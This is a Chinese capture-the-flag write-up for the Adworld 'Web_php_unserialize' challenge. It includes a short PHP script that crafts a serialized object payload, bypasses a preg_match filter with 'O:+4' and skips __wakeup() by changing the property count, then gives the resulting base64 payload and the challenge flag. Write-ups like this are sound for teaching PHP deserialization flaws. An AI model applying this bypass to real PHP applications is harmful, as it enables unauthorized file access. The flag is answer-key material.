攻防世界 web部分的Web_php_unserialize的writeup

1 篇文章 0 订阅

这个题就是三个点:

1、$file改成fl4g.php;

2、绕过:preg_match('/[oc]:\d+:/i', $var)

3、跳过__wakeup()。

步骤如下:

<?php 
class Demo { 
    private $file = 'fl4g.php';//$file改成fl4g.php
}

$a= serialize(new demo);
$a= str_replace('O:4', 'O:+4',$a);//绕过preg_match
$a= str_replace(':1:', ':2:',$a);//绕过wakeup
echo base64_encode($a);
?>

代码执行得:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

执行即可:

flag即为:

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值